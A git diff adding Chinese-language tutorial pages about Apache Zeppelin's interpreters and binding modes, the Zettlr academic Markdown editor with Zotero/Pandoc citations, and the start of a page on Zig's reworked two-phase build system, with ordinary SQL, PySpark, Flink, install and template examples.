+与 Jupyter cell 类似，但 Zeppelin **没有** Pluto/marimo 式全局 reactive——段落顺序与是否重跑由你手动控制，变量在**同一 interpreter session** 内共享（取决于 binding mode）。
+
+### 2. Interpreter（解释器）
+
+**Interpreter** = 某种语言/引擎的后端插件。每个 interpreter 属于一个 **Interpreter Group**（如 `spark` 组含 `%spark`、`%spark.pyspark`、`%spark.sql`）。
+
+| 常见 Group | 段落前缀示例 | 用途 |
+|------------|--------------|------|
+| spark | `%spark`、`%spark.pyspark`、`%spark.sql` | Spark Scala / PySpark / Spark SQL |
+| flink | `%flink`、`%flink.pyflink`、`%flink.ssql` | Flink Scala / PyFlink / 流批 SQL |
+| jdbc | `%jdbc` | 连 PostgreSQL、MySQL 等 |
+| python | `%python` | 本地 Python（非 Spark） |
+| sh | `%sh` | Shell 命令 |
+| md | `%md` | Markdown 说明 |
+
+段落写法规则（官方 Overview）：
+
+- `%spark` — 用 spark 组里第一个可用 interpreter
+- `%spark.pyspark` — 指定组内具体 interpreter
+- 可省略组名，仅 `%pyspark`（若默认组配置允许）
+- 带本地属性：`%cassandra(outputFormat=cql, dateFormat="E, d MMM yy")`
+
+**Interpreter Setting** 是一组 interpreter 的配置与生命周期单元：同一 Setting 里的 interpreter **共享一个 JVM 进程**（除非 isolated per note 开新进程）。配置项里全大写名（如 `SPARK_HOME`）会注入为环境变量。
+
+### 3. Binding Mode（绑定模式）
+
+决定「多份 Note / 多用户是否共享 SparkContext、Flink 集群连接」——这是 Zeppelin 运维最关键的概念之一。
+
+| 模式 | 含义（per note scope 下） |
+|------|---------------------------|
+| **shared** | 所有 Note 共享同一 interpreter session（同一 SparkContext） |
+| **scoped** | 每 Note 独立 session，但可仍共享同一 SparkApplication（fair scheduler 分作业） |
+| **isolated** | 每 Note 独立 interpreter 进程 / 独立 SparkContext |
+
+还有 **per user** vs **per note** 两个维度。生产上 Flink/Spark 文档常建议：默认 `globally shared` 容易互相抢资源，**interactive 开发用 `isolated per note`**，避免 A 分析师 Cancel 作业把 B 的集群会话干掉。不同 Note 仍可通过 **ResourcePool** 共享对象，但变量不会自动串台。
+
+### 4. ZeppelinContext 与跨语言共享
+
+Spark 组内，`%spark` 定义的 Scala 变量可通过 **ZeppelinContext**（代码里常写 `z`）暴露给 `%spark.pyspark`；反之 PySpark 的 `df` 也可在 `%spark.sql` 里当 temp view 用。这实现了「一段 Scala UDF、一段 Python 清洗、一段 SQL 聚合」的混排流水线——比在多份 Jupyter kernel 之间 export parquet 更短。
+
+### 5. 可视化与 Dynamic Form
+
+查询结果表格右侧可配置 **可视化**（柱状、折线、饼图等）。Paragraph 支持 **Dynamic Form**：
+
+- 模板语法：`${name=default}` 运行前弹出输入框
+- Note 级表单：`$${name=default}`（双 `$`）全 Note 段落可用
+- 编程式：`z.textbox("name")`、`z.select(...)`（Spark / PySpark 段落）
+
+适合参数化 SQL 而不改代码，或给运营一个「填数字就能查」的模板 Note。
+
+### 6. 生命周期与恢复（0.8+）
+
+- **TimeoutLifecycleManager**：空闲超过阈值（默认 1 小时）自动关闭 interpreter，省集群资源
+- **Interpreter Process Recovery**（实验性）：重启 Zeppelin Server 时可尝试重连仍在跑的 interpreter 进程，避免长作业被误杀
+
+### 7. 与 Jupyter / Pluto / marimo 对比
+
+| 维度 | Zeppelin | Jupyter | Pluto.jl / marimo |
+|------|----------|---------|-------------------|
+| 主场景 | 大数据集群交互 | 通用计算 / ML | Reactive 探索 |
+| 语言切换 | `%` 前缀多 interpreter | 通常单 kernel | 单语言 |
+| 状态模型 | 手动 Run + session 共享 | 手动 Run + hidden state | 自动 reactive |
+| 存储 | JSON Note | `.ipynb` | `.jl` / `.py` |
+| 运行时 | JVM + 子 JVM interpreter | 多 kernel 进程 | Julia/Python 进程 |
+
+## 实践案例
+
+### 案例 1：Spark SQL + PySpark 混排
+
+```sql
+%spark.sql
+
+-- 段落 1：注册或查询（session 内 temp view 可跨段落）
+CREATE OR REPLACE TEMP VIEW orders AS
+SELECT * FROM parquet.`/data/orders`;
+
+SELECT country, COUNT(*) AS cnt
+FROM orders
+GROUP BY country
+ORDER BY cnt DESC
+LIMIT 10;
+```
+
+```python
+%spark.pyspark
+
+# 段落 2：用 PySpark 读上一段逻辑产出的 view（同一 scoped session）
+df = spark.table("orders")
+from pyspark.sql import functions as F
+
+top = (
+    df.groupBy("country")
+      .agg(F.sum("amount").alias("total"))
+      .orderBy(F.desc("total"))
+      .limit(5)
+)
+top.show()
+```
+
+若 binding 是 **shared**，Note A 里注册的 `orders` 可能被 Note B 看见或覆盖——团队共用实例时要选 **scoped/isolated per note**。
+
+### 案例 2：Dynamic Form 参数化 SQL
+
+```sql
+%spark.sql
+
+-- ${table=orders} ${limit=100} 运行前弹出表单
+SELECT country, SUM(amount) AS revenue
+FROM ${table=orders}
+GROUP BY country
+ORDER BY revenue DESC
+LIMIT ${limit=100}
+```
+
+```scala
+%spark
+
+// 编程式表单：适合 Scala 段落
+val name = z.textbox("name", "world")
+println(s"Hello, $name")
+```
+
+第一段给业务方「选表 + 限制行数」；第二段演示 `ZeppelinContext` API。表单值在重跑该段落时生效，不会自动级联更新下游——改参数后需手动 Run 依赖段落。
+
+### 案例 3：Flink 流 SQL 段落
+
+```text
+%flink.ssql
+
+-- 段落 1：Flink 1.15+，local 或 remote 集群由 Interpreter 配置决定
+CREATE TABLE clicks (
+  user_id STRING,
+  url STRING,
+  ts TIMESTAMP(3),
+  WATERMARK FOR ts AS ts - INTERVAL '5' SECOND
+) WITH (
+  'connector' = 'kafka',
+  'topic' = 'clickstream',
+  'properties.bootstrap.servers' = 'kafka:9092',
+  'format' = 'json'
+);
+
+SELECT window_start, window_end, COUNT(*) AS pv
+FROM TABLE(
+  TUMBLE(TABLE clicks, DESCRIPTOR(ts), INTERVAL '1' MINUTE)
+)
+GROUP BY window_start, window_end;
+```
+
+Flink interpreter 在 Zeppelin 侧是 **Flink Client**：编译 SQL、提交 job、展示进度；真正执行在 MiniCluster / Standalone / YARN / K8s。Cancel 段落会尝试取消对应 Flink job。
+
+### 案例 4：Markdown 文档 + Shell 准备数据
+
+```markdown
+%md
+
+## 日报：活跃用户数
+下方段落从 HDFS 拉取昨日分区，Spark SQL 聚合。
+```
+
+```bash
+%sh
+
+hdfs dfs -ls /data/users/dt=$(date -d yesterday +%Y-%m-%d) | head
+```
+
+```sql
+%spark.sql
+
+SELECT COUNT(DISTINCT user_id) AS dau
+FROM users
+WHERE dt = date_sub(current_date(), 1);
+```
+
+## 安装与上手
+
+**Docker（零基础推荐）：**
+
+```bash
+docker run -p 8080:8080 --rm --name zeppelin apache/zeppelin:0.12.0
+# 持久化 notebook 与 logs：
+docker run -u $(id -u) -p 8080:8080 --rm \
+  -v $PWD/notebook:/notebook -v $PWD/logs:/logs \
+  -e ZEPPELIN_NOTEBOOK_DIR=/notebook -e ZEPPELIN_LOG_DIR=/logs \
+  --name zeppelin apache/zeppelin:0.12.0
+```
+
+**本机二进制：**
+
+```bash
+# 需 JDK 11，设置 JAVA_HOME
+tar xzf zeppelin-0.12.0-bin-all.tgz
+cd zeppelin-0.12.0-bin-all
+bin/zeppelin-daemon.sh start
+# 浏览器 http://localhost:8080
+# 远程访问：conf/zeppelin-site.xml 里 zeppelin.server.addr 改为 0.0.0.0
+```
+
+首次登录建议顺序：跑 **Spark Tutorial** → 打开 **Interpreter** 页看 spark 组 → 新建 Note 写 `%md` + `%spark.sql` 三段落。
+
+## 部署与运维要点
+
+| 主题 | 建议 |
+|------|------|
+| 日志 | Server：`logs/zeppelin-*.log`；Interpreter：`logs/zeppelin-interpreter-*.log` |
+| 资源隔离 | 生产用 **isolated per note** 或 per user；慎用的 globally shared |
+| 依赖 jar | Interpreter 设置里配 `spark.jars` / `%spark(dep=...)` 或 `%spark(addjar=...)` |
+| 并发 SQL | `zeppelin.spark.concurrentSQL=true` + fairscheduler 池 |
+| 认证 | 配置 Shiro、LDAP、Knox 等（企业版常接 SSO） |
+| 凭证 | Interpreter 开启 `injectCredentials` 后，Note 里 `{ENTITY.user}` 可替换为托管密码 |
+
+## 局限与踩坑
+
+1. **不是 reactive notebook**——改上一段不会自动重跑下游；和 [[pluto-jl]]、[[marimo]] 心智不同
+2. **JSON Note diff 噪声大**——Git CR 不如纯 `.py` / `.jl` 友好
+3. **JVM 栈偏重**——轻量 Python ML 探索不如 Jupyter + venv 顺手
+4. **Interpreter 配置门槛高**——Spark/Flink 版本、Scala 二进制、YARN queue 配错则全 Note 失败
+5. **多用户共享实例**——binding mode 选错会导致变量串台或误 Cancel 他人 job
+6. **版本耦合**——Flink interpreter 需 Flink 1.15+（见 0.12 文档）；老集群需对齐 Zeppelin 发行版
+
+## 学习路径建议
+
+1. `docker run apache/zeppelin:0.12.0` → 跑通 **Spark Tutorial** 文件夹里所有 Note
+2. 在 Interpreter 页观察 **spark** 组有哪些子 interpreter，改 binding mode 为 scoped per note 再对比 session
+3. 写一个三段落 Note：`%md` 说明 + `%spark.sql` 聚合 + `%spark.pyspark` 画图
+4. 练习 Dynamic Form：`${limit=10}` 与 `z.textbox` 各写一段
+5. 若有 Flink 集群，按官方 Flink interpreter 文档配 remote/yarn 模式，跑 `%flink.ssql`
+6. 与团队确认生产规范：谁管 Interpreter Setting、Note 是否允许 `%sh`
+
+## 小结
+
+Apache Zeppelin 是**面向大数据平台的多语言笔记本**：用 `%` 解释器把 Spark、Flink、SQL、Shell 拼在同一 Note，用 binding mode 控制集群资源隔离，用内置可视化与 Dynamic Form 给业务看结果。它不适合替代 Jupyter 做通用 AI 实验，也不提供 Pluto 式 reactive；但在 **「集群已经有了，分析师要在浏览器里交互式写 Spark/Flink」** 这一环，Zeppelin 仍是常见选型。
+
+---
+
+## 参考资料
+
+- 官方文档：[zeppelin.apache.org/docs/latest](https://zeppelin.apache.org/docs/latest/)
+- 源码：[github.com/apache/zeppelin](https://github.com/apache/zeppelin)
+- 安装：[Install](https://zeppelin.apache.org/docs/latest/quickstart/install.html)
+- Interpreter 概览：[Overview](https://zeppelin.apache.org/docs/latest/usage/interpreter/overview.html)
+- Binding Mode：[interpreter_binding_mode](https://zeppelin.apache.org/docs/latest/usage/interpreter/interpreter_binding_mode.html)
+- Dynamic Form：[intro](https://zeppelin.apache.org/docs/latest/usage/dynamic_form/intro.html)
+- Spark Interpreter：[spark.html](https://zeppelin.apache.org/docs/latest/interpreter/spark.html)
+- Flink Interpreter：[flink.html](https://zeppelin.apache.org/docs/latest/interpreter/flink.html)
+- 相关笔记：[[jupyter-notebook]]、[[jupyterlab]]、[[pluto-jl]]、[[marimo]]
diff --git a/src/content/docs/projects/zettlr.md b/src/content/docs/projects/zettlr.md
new file mode 100644
index 000000000..392bc2ce2
--- /dev/null
+++ b/src/content/docs/projects/zettlr.md
@@ -0,0 +1,294 @@
+---
+title: Zettlr — 学者向 Markdown 编辑器
+来源: https://github.com/Zettlr/Zettlr
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：学者的「写作工作台」，而不是一张白纸
+
+想象你正在写毕业论文或期刊投稿：桌上摆着三样东西——一叠索引卡片（每张只记一个想法）、一本参考文献目录（Zotero 导出的 `.bib`）、以及学校提供的 Word/LaTeX 模板。你平时在卡片之间画箭头、标标签；正式写作时把卡片串成章节，引用格式按期刊要求一键切换。
+
+**Zettlr 就是把这三样东西搬进同一款桌面应用。** 它基于 **Markdown** 写纯文本，但面向学术场景做了「一等公民」支持：**Zettelkasten（卡片盒）知识管理**、**与 Zotero / JabRef 等文献管理器联动的引用**、以及靠 **Pandoc** 导出 PDF、DOCX、LaTeX 等 30+ 格式。和 Typora、MarkText 这类「好看、通用」的 Markdown 编辑器不同，Zettlr 的定位更接近 **从读书笔记到投稿成稿的一站式工作台**。
+
+官方仓库 [Zettlr/Zettlr](https://github.com/Zettlr/Zettlr) 为 GPL-3.0 开源项目，支持 **Windows、macOS、Linux**；官网 [zettlr.com](https://www.zettlr.com) 强调 privacy-first（笔记留在本地）。零基础路径：**安装 → 打开工作区 → 写一张 Zettel 卡片 → 接上 `.bib` 试引用 → 用导出配置投一篇短文**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：学术写作被 Word 格式绑架，又嫌 LaTeX 门槛高
+
+期刊要求严格：参考文献样式、页眉页脚、模板字段一个都不能错。Word 能交稿，但版本管理和协作痛苦；LaTeX 排版专业，学习曲线陡峭。Zettlr 让你 **用 Markdown 写正文**，导出时由 **Pandoc** 套用 CSL 样式和自定义模板，在「纯文本简单」与「出版级格式」之间搭桥。
+
+### 痛点 2：文献引用在 Markdown 里往往是二等公民
+
+许多 Markdown 编辑器不支持 `@citekey`，或只能靠插件凑合。Zettlr **原生集成 Pandoc 引用语法**：连接 BibTeX / BibLaTeX 库后，`@` 自动补全 citekey，预览模式下可看到渲染后的文内引用，侧边栏还有 **动态参考文献预览**，导出时自动追加书目。
+
+### 痛点 3：读书笔记要么太长（一整篇读后感），要么太散（文件夹里搜不到）
+
+**Zettelkasten** 方法主张：每张笔记只承载一个「原子化」想法，用 **链接和标签** 织成网络，写长文时沿链接把思路串起来。Zettlr 提供 **文件 ID、Wiki 式内部链接 `[[...]]`、标签、全文检索、图谱视图**，和 Obsidian、Logseq 同属 PKMS（个人知识管理系统）阵营，但更强调 **与引用、导出、项目** 的学术闭环。
+
+### 痛点 4：重复插入 YAML 头、评分表、幻灯片分栏太费时间
+
+**Snippets（代码片段）** 基于 TextMate 语法：输入 `:` 触发补全，Tab 在占位符间跳转，支持 `$CURRENT_YEAR`、`$ZKN_ID` 等变量。适合统一论文 front matter、Beamer 幻灯片结构、课程评分 rubric 等 boilerplate。
+
+---
+
+## 核心概念拆解
+
+### 1. Pandoc Markdown 方言
+
+Zettlr 默认使用 **Pandoc Markdown**——比普通 GFM 更「学术」：复杂表格、图片题注、脚注、**引用与交叉引用** 等开箱可用。这意味着你写的 `.md` 最好按 Pandoc 规则来（尤其是引用和 div 语法），以便导出时不翻车。若目标平台只认 GFM，导出前需确认语法兼容性。
+
+### 2. 工作区（Workspace）与项目（Project）
+
+启动时 Zettlr 让你打开一个 **根目录**（工作区），左侧是文件树。可把相关论文、笔记、素材收进同一棵树。**Project** 功能适合把多篇文件组织成「一本书」或「一个课题文件夹」，便于集中导出与管理——这是许多纯笔记应用没有的层次。
+
+### 3. Zettelkasten 三件套：ID、链接、标签
+
+| 机制 | 作用 | 典型用法 |
+|------|------|----------|
+| **Zettel ID** | 稳定标识一张卡片，重命名文件也不破链 | 偏好设置里定义 ID 模式，新建笔记自动生成 |
+| **内部链接** | `[[文件名]]` 或 `[[ID\|显示文字]]` 显式连接概念 | 从「方法论」链到「案例 A」再链到「反例」 |
+| **标签** | `#tag` 做隐式聚类 | 全文搜索 + 标签管理器浏览主题簇 |
+
+图谱视图把链接关系可视化，适合检查「孤岛笔记」和意外形成的概念簇。
+
+### 4. 引用管线：文献库 → 编辑器 → Pandoc 导出
+
+链路分三层：
+
+1. **全局配置**：偏好设置 → Citations，指向 Zotero（经 Better BibTeX 自动导出）或 JabRef 的 `.bib` 文件；可选默认 CSL 样式。
+2. **编辑时**：输入 `@` 触发 citekey 补全；Preview 模式 + citations 渲染器可预览文内引用。
+3. **单文件覆盖**：在文档 YAML 里声明 `bibliography` 和 `csl`，导出时 Pandoc 以文档为准。
+
+Zettlr **不用 Zotero 图形化选文献窗口**，而是直接写 Pandoc 语法——熟练后往往比点选更快。
+
+### 5. 导出配置（Export Profiles）
+
+导出由 **Pandoc** 执行。你在偏好里创建 **Profile**：选输出格式（PDF、docx、tex…）、关联 **模板**（LaTeX、Word）、默认参数。对同一篇稿子，换 Profile 就等于换期刊模板或投稿格式，无需改正文。
+
+### 6. 编辑器模式与侧边栏
+
+- **Markdown 模式**：看源码，适合精细改语法。
+- **Preview 模式**：类 WYSIWYG，引用、公式等可内联预览。
+- **分屏**：对照源码与预览。
+- **侧边栏**：目录、标签、**参考文献预览**、相关文件等。
+
+### 7. 质量与写作辅助
+
+集成 **LanguageTool**（拼写、语法、风格）、Markdown lint、写作统计、多语言界面（含简体中文）。代码块支持语法高亮；主题与 **自定义 CSS** 可深度改外观。
+
+---
+
+## 安装与第一次打开
+
+### macOS
+
+```bash
+brew install --cask zettlr
+```
+
+或从 [GitHub Releases](https://github.com/Zettlr/Zettlr/releases) 下载 `.dmg`。
+
+### Windows / Linux
+
+官网与 Releases 提供安装包；Linux 常见为 AppImage 或发行版打包版本。首次启动会引导选择界面语言、默认主题、是否开启深色模式。
+
+**建议第一次：**
+
+1. **File → Open Directory** 打开空文件夹作为工作区。
+2. 偏好设置 → **Zettelkasten**：开启文件 ID、设定 ID 格式（如时间戳）。
+3. 若有 Zotero：安装 **Better BibTeX**，配置自动导出 `.bib`；在 Zettlr **Citations** 里指向该文件。
+4. 新建 `0001-欢迎.md`，试写内部链接与一条 `@` 引用（有库时）。
+
+---
+
+## 代码示例 1：带参考文献的论文章节（YAML + Pandoc 引用）
+
+正式投稿前，文档顶部需要 YAML front matter，声明书目与 CSL 样式；正文用 Pandoc citekey，而不是手写「作者, 年份」。
+
+```markdown
+---
+title: "大语言模型在文献综述中的辅助边界"
+author:
+  - 张三
+  - 李四
+date: 2026-06-13
+bibliography: ~/references/my-library.bib
+csl: https://www.zotero.org/styles/apa
+lang: zh-CN
+abstract: |
+  本文讨论生成式 AI 辅助学术写作时的引用规范与幻觉风险。
+---
+
+# 引言
+
+近年来，自动化摘要与引文推荐工具快速发展 [@smith2023; @lee2024]。
+单一研究指出，未经人工核验的引用错误率仍不可忽视 [@chen2025, p. 42]。
+
+## 方法
+
+我们采用结构化文献检索，编码方案见 [@jones2022]。
+
+# 参考文献
+
+<!-- 导出时由 Pandoc 根据 .bib 与 CSL 自动生成，无需手打条目 -->
+```
+
+**要点说明：**
+
+- `[@smith2023]` 为括号引用；`@lee2024` 可配合叙述写成「如 @lee2024 所示」类 in-text 形式（具体取决于 CSL）。
+- 多条引用用分号：`[@a; @b]`；页码加 `, p. 42`。
+- `bibliography` / `csl` 路径会传给 Pandoc；与偏好设置里的全局库可以不同，**以本文件 YAML 为准**。
+- 导出：**File → Export**（`Cmd/Ctrl+E`），选 PDF 或 DOCX Profile；Pandoc 格式化文内引用并生成文末书目。
+
+---
+
+## 代码示例 2：Zettelkasten 原子笔记与 Wiki 链接
+
+一张卡片只记一个主张；用 ID 与链接把它挂进知识网络。下面模拟「读论文时拆出的两条 Zettel + 一条综述草稿」。
+
+**文件 `202606131030-原子笔记-可复现性.md`：**
+
+```markdown
+---
+id: 202606131030
+title: 可复现性危机不等于完全不可信
+tags: [方法论, 科学哲学]
+---
+
+# 可复现性危机不等于完全不可信
+
+核心主张：复制失败应触发**机制审查**，而非简单否定原研究 [@openScience2015]。
+
+相关：[[202606131045-原子笔记-统计功效]] 讨论样本量；[[综述草稿|当前综述进度]] 汇总成文。
+```
+
+**文件 `202606131045-原子笔记-统计功效.md`：**
+
+```markdown
+---
+id: 202606131045
+tags: [统计, 方法论]
+---
+
+# 低功效研究更易产生假阳性
+
+见 [[202606131030-原子笔记-可复现性]]：两条线索应合并写进「局限」一节。
+```
+
+**文件 `综述草稿.md`（项目主文档片段）：**
+
+```markdown
+## 局限
+
+如 @202606131030 与 @202606131045 所示，本综述承认发表偏倚与功效不足并存 [#meta-analysis]。
+```
+
+**操作习惯：**
+
+- 偏好设置可开启 **「尽量用文件 ID 作为链接目标」**，重命名 `...-可复现性.md` 时链接仍有效。
+- `[[目标|标题]]` 中「链接格式」需在偏好 → Zettelkasten → Internal links 里指定 pipe 两侧何者为目标。
+- 标签 `#meta-analysis` 与文内标签语法配合，便于标签管理器批量浏览。
+- 写长文时从图谱或反向链接找「谁引用了这张卡片」，把 Zettel 链成章节段落。
+
+---
+
+## 代码示例 3：Snippet 快速插入论文模板（可选进阶）
+
+在 Assets Manager 新建 snippet `paper-chapter`（文件扩展名 `.tpl.md`），编辑器里行首输入 `:paper` 选补全，Tab 填空：
+
+```markdown
+---
+title: "${1:章节标题}"
+date: $CURRENT_YEAR-$CURRENT_MONTH-$CURRENT_DATE
+id: $ZKN_ID
+---
+
+# ${1:章节标题}
+
+## 论点
+
+$2
+
+## 证据与引用
+
+$3
+
+## 小结
+
+$0
+```
+
+`$1` 出现两次会 **同步修改**（标题与一级标题一致）；`$ZKN_ID` 自动填入 Zettel ID；`$0` 是结束光标位置。Esc 可中止插入流程。
+
+---
+
+## 与同类工具怎么选
+
+| 维度 | Zettlr | Obsidian | Typora | MarkText |
+|------|--------|----------|--------|----------|
+| 开源 | ✅ GPL | 闭源免费 | 付费 | ✅ MIT |
+| 原生 Zotero / BibTeX 引用 | ✅ | 需插件 | ❌ | ❌ |
+| 引用预览 | ✅ | 有限 | ❌ | ❌ |
+| Pandoc 一键导出 + 模板 | ✅ | 插件 | 部分 | 部分 |
+| Zettelkasten / 图谱 | ✅ | ✅ | ❌ | ❌ |
+| 实时 WYSIWYG | Preview 模式 | 插件 | ✅ | ✅ |
+
+若你 **主要是博客、技术文档、少引用**，MarkText / Typora 更轻。若 **读文献、写论文、维护卡片盒、换 CSL 投稿**，Zettlr 的集成度更高。
+
+---
+
+## 推荐工作流（Zotero + Better BibTeX + Zettlr）
+
+1. **Zotero** 装 Better BibTeX，设稳定 citekey 规则，开启 **自动导出** 到固定路径如 `~/references/my-library.bib`。
+2. **Zettlr** 偏好 → Citations 指向该 `.bib` 与常用 CSL（可从 [Zotero Style Repository](https://www.zotero.org/styles) 下载）。
+3. **日常**：读论文 → 拆 Zettel → `[[链接]]` + `@citekey` 挂证据。
+4. **成稿**：合并进带 YAML 的主文档 → Export 选期刊 Profile → 交 DOCX/PDF。
+5. **版本管理**：全程 `.md` + `.bib` 可进 Git；大二进制模板单独存放。
+
+---
+
+## 常见问题
+
+**Q：导出 PDF 报 Pandoc 错误？**  
+检查是否安装 Pandoc、LaTeX（若 Profile 走 pdflatex/xelatex）。中文 PDF 常需在模板或变量里指定 `xelatex` 与 `CJKmainfont`。
+
+**Q：`@` 不出补全？**  
+确认 Citations 已指向有效 `.bib`；`@` 须在行首、空格后或 `[` 后；库文件需含对应 citekey。
+
+**Q：和 Obsidian 双开会乱吗？**  
+两者都读 plain Markdown，但 Wiki 链接、ID、部分 YAML 约定可能不同。选一个作「真源」，另一个只读或统一约定。
+
+**Q：一定要 Zettelkasten 吗？**  
+不必。官方手册坦言：有人更高效，有人更慢；Zettlr 也适合 **不开卡片盒、只当带引用的 Markdown IDE** 用。
+
+---
+
+## 小结
+
+| 你学到什么 | 一句话 |
+|------------|--------|
+| 定位 | 学者向、本地优先的 Markdown 工作台，不是通用记事本 |
+| 方言 | Pandoc Markdown + YAML front matter 驱动导出 |
+| 知识管理 | ID + `[[wiki链接]]` + 标签 + 图谱 |
+| 引用 | `.bib` + `@citekey` + CSL，导出时 Pandoc 排版书目 |
+| 效率 | Snippets、Projects、分屏 Preview、LanguageTool |
+
+下一步：用你自己的一个小课题（课程 essay、读书报告即可）建 10 张 Zettel、接一本 Zotero 库、导出一份 PDF，走通 **卡片 → 引用 → 投稿格式** 全链路；比只看功能列表更能判断 Zettlr 是否适合你的脑子。
+
+---
+
+## 参考链接
+
+- 官网与功能对比：[zettlr.com/features](https://zettlr.com/features)
+- 用户手册：[docs.zettlr.com](https://docs.zettlr.com)
+- PKMS / Zettelkasten：[docs.zettlr.com/en/pkms/](https://docs.zettlr.com/en/pkms/)
+- 引用：[docs.zettlr.com/en/editor/citations/](https://docs.zettlr.com/en/editor/citations/)
+- Snippets：[docs.zettlr.com/en/editor/snippets/](https://docs.zettlr.com/en/editor/snippets/)
+- 源码：[github.com/Zettlr/Zettlr](https://github.com/Zettlr/Zettlr)
+- Zotero 工作流示例：[tiagojct.eu/notes/zettlr-zotero](https://tiagojct.eu/notes/zettlr-zotero/)
diff --git a/src/content/docs/projects/zig-build-rework.md b/src/content/docs/projects/zig-build-rework.md
new file mode 100644
index 000000000..c43e89f2d
--- /dev/null
+++ b/src/content/docs/projects/zig-build-rework.md
@@ -0,0 +1,291 @@
+---
+title: Zig Build System Reworked — 配置与执行分离的两段式构建
+description: Zig 0.17 将 build.zig 配置阶段与构建图执行拆成 configurer/maker 双进程，缓存序列化构建图并显著降低 zig build 开销
+来源: 'https://ziglang.org/learn/build-system/'
+日期: 2026-06-13
+子分类: 类型与 PL 理论
+分类: 编程语言
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 日常类比：装修图纸与施工队分开
+
+想象你要装修一套房子。老办法是：每次改一个开关位置，建筑师和施工队绑在同一辆面包车里出发——车又大又慢，而且只要改图纸，整辆车（含施工设备）都得重新发动一次。
+
+**Zig Build System Reworked**（2026 年 5 月由 Andrew Kelley 合入 master，随 Zig 0.17 发布）把这件事拆成两段：
+
+1. **Configurer（配置员）**：读你的 `build.zig`，在 debug 模式下画出「施工图纸」——也就是构建图（build graph），然后把它**序列化**成二进制配置文件，交给父进程缓存。
+2. **Maker（施工队）**：读这份缓存图纸，用 **release 优化**后的独立进程真正编译、链接、跑测试。Maker 按 Zig 版本全局缓存，不必每个项目各编一份。
+
+你只改业务代码、没动 `build.zig` 时，Configurer 可以整段跳过；只改运行参数（比如 `zig build run -- --verbose`）时，图纸不用重画，Maker 在执行阶段吃掉透传参数即可。官方 benchmark 里，`zig build --help` 墙钟时间从约 **150ms 降到 14.3ms**（约 90%），CPU 周期减少约 96%——说明「重复付配置税」这条路径被砍掉了。
+
+这和 [[zig]] 语言「用 Zig 写构建脚本、不搞第二套 DSL」的哲学一致：变的是**怎么运行** `build.zig`，不是让你去学 CMake。
+
+## 是什么
+
+Zig 的构建系统把项目建模为**有向无环图（DAG）**：节点是 Step（编译、安装、跑测试、调外部工具等），边是依赖。用户入口是仓库根目录的 `build.zig`；若声明依赖，还有伴生清单 `build.zig.zon`（Zig Object Notation，`.zon` 扩展名）。
+
+**Rework 之前**：`build.zig` 与构建系统实现被打包进**同一个 debug 构建 runner**，一次 `zig build` 既要执行用户脚本，又要跑完整张图。构建系统功能越多，这个合体进程越臃肿，每次动 `build.zig` 都要连带重编大块标准库构建代码。
+
+**Rework 之后**：
+
+| 角色 | 做什么 | 编译模式 | 缓存粒度 |
+|------|--------|----------|----------|
+| Configurer | 执行 `build.zig`，产出序列化配置 | debug（迭代快） | 按项目 + 输入哈希 |
+| Maker | 读配置，执行 Step | release（执行快） | 按 Zig 版本全局 |
+| 父进程 `zig build` | 调度、缓存配置、选 Step | — | `.zig-cache/c/` 等 |
+
+序列化产物可通过 `zig build --print-configuration` 以 **ZON 文本**查看；工具链作者更推荐直接 mmap 二进制格式，用 `std.Build.Configuration` 加载——ZLS（Zig 语言服务器）等 IDE 集成不必再 fork 构建 runner 去「猜」项目结构。
+
+## 为什么重要
+
+1. **开发者内循环**：`--watch`、`--fuzz`、频繁 `zig build test` 时，配置阶段不能成为固定税。Configurer 变小 + 配置可缓存，让「改一行源码 → 重编」路径更干净。
+2. **可编程构建的边界更清晰**：构建脚本仍是 Turing 完备的 Zig，但**图构造（configure）**与**图执行（make）**分离后，哪些输入该让图失效、哪些只影响运行，有了硬规则——减少「改个 flag 却触发整图重算」的意外。
+3. **工具生态**：构建图变成可传递的 artifact，第三方工具（包索引、IDE、Nix 式包装生成器）可以**不执行**不可信 `build.zig` 就读到声明式依赖（`build.zig.zon`）或已配置图（序列化配置）。
+4. **与包管理协同**：`build.zig.zon` 里 `hash` 是依赖的**真源**（内容寻址），`url` 只是镜像；`zig build --fetch` 可预拉依赖树。Rework 让「先 fetch 声明式元数据、再 configure、再 make」的流水线更线性。
+
+## 核心概念
+
+### 1. Configure / Make 两阶段
+
+- **Configure**：运行 `pub fn build(b: *std.Build) void`，注册 executable、test、install、run step 等。此阶段应只决定「图长什么样」。
+- **Make**：根据缓存的配置执行 Step（调编译器、链接器、子进程）。只影响执行、不影响图形状的 CLI 行为应落在这里。
+
+典型例子：`-freference-trace` 这类只影响诊断输出的 flag，在新架构下不必为了它重跑 `build.zig`。
+
+### 2. 序列化构建图（Configuration）
+
+Configurer 输出二进制配置（项目缓存在 `.zig-cache/c/` 一类路径下）。含义：
+
+- 同一份图可被 Maker 多次消费；
+- 工具可用 `std.Build.Configuration` 只读解析，无需重新实现 build runner；
+- 人可读调试：`zig build --print-configuration` 导出 ZON。
+
+Zig 有意**减少**对 JSON 等非核心格式的编译器内建支持，倾向 ZON 或自家二进制——写 Zig 的工具直接用标准库 API 即可。
+
+### 3. `build.zig.zon` 与内容哈希
+
+`build.zig.zon` 是 `build.zig` 的**声明式附录**（包名、版本、依赖 URL/hash/path、`paths` 包含规则等）。要点：
+
+- **`hash`**：对包内文件（经 `paths` 过滤后）算出的指纹；包由 hash 标识，不由 URL 标识。
+- **`path`**：本地路径依赖，与 `url` 互斥，不算 hash。
+- **`paths`**：哪些文件算进包（空字符串 `""` 表示构建根目录本身）。
+
+这让镜像、离线缓存、`file://` 协议与可重现构建站在同一套模型上。
+
+### 4. 透传参数：`b.args` → `addPassthruArgs()`
+
+0.17 的**主要破坏性迁移点**：Configure 进程**看不到**父进程的 `b.args`。若你在 configure 里读透传参数来决定图结构，必须改成显式 `b.option` / `b.step` 选项；若只是转给 `zig build run -- --flag`，改用：
+
+```zig
+run_cmd.addPassthruArgs();
+```
+
+参数在 **Make 阶段**注入，不改变已缓存的图——这是性能与语义双赢，也是迁移时最常搜的关键词。
+
+### 5. 与旧 API 的其它触碰点
+
+Rework 伴随一轮 `std.Build` 清理（0.17 dev 分支上可见）：
+
+- `b.build_root` → `b.root` 等命名统一；
+- `FmtStep` 等路径参数向 `LazyPath` 列表迁移；
+- 自定义 `Step.makeFn` 式步骤早已不推荐，**Run Step** 仍是扩展外部命令的正道。
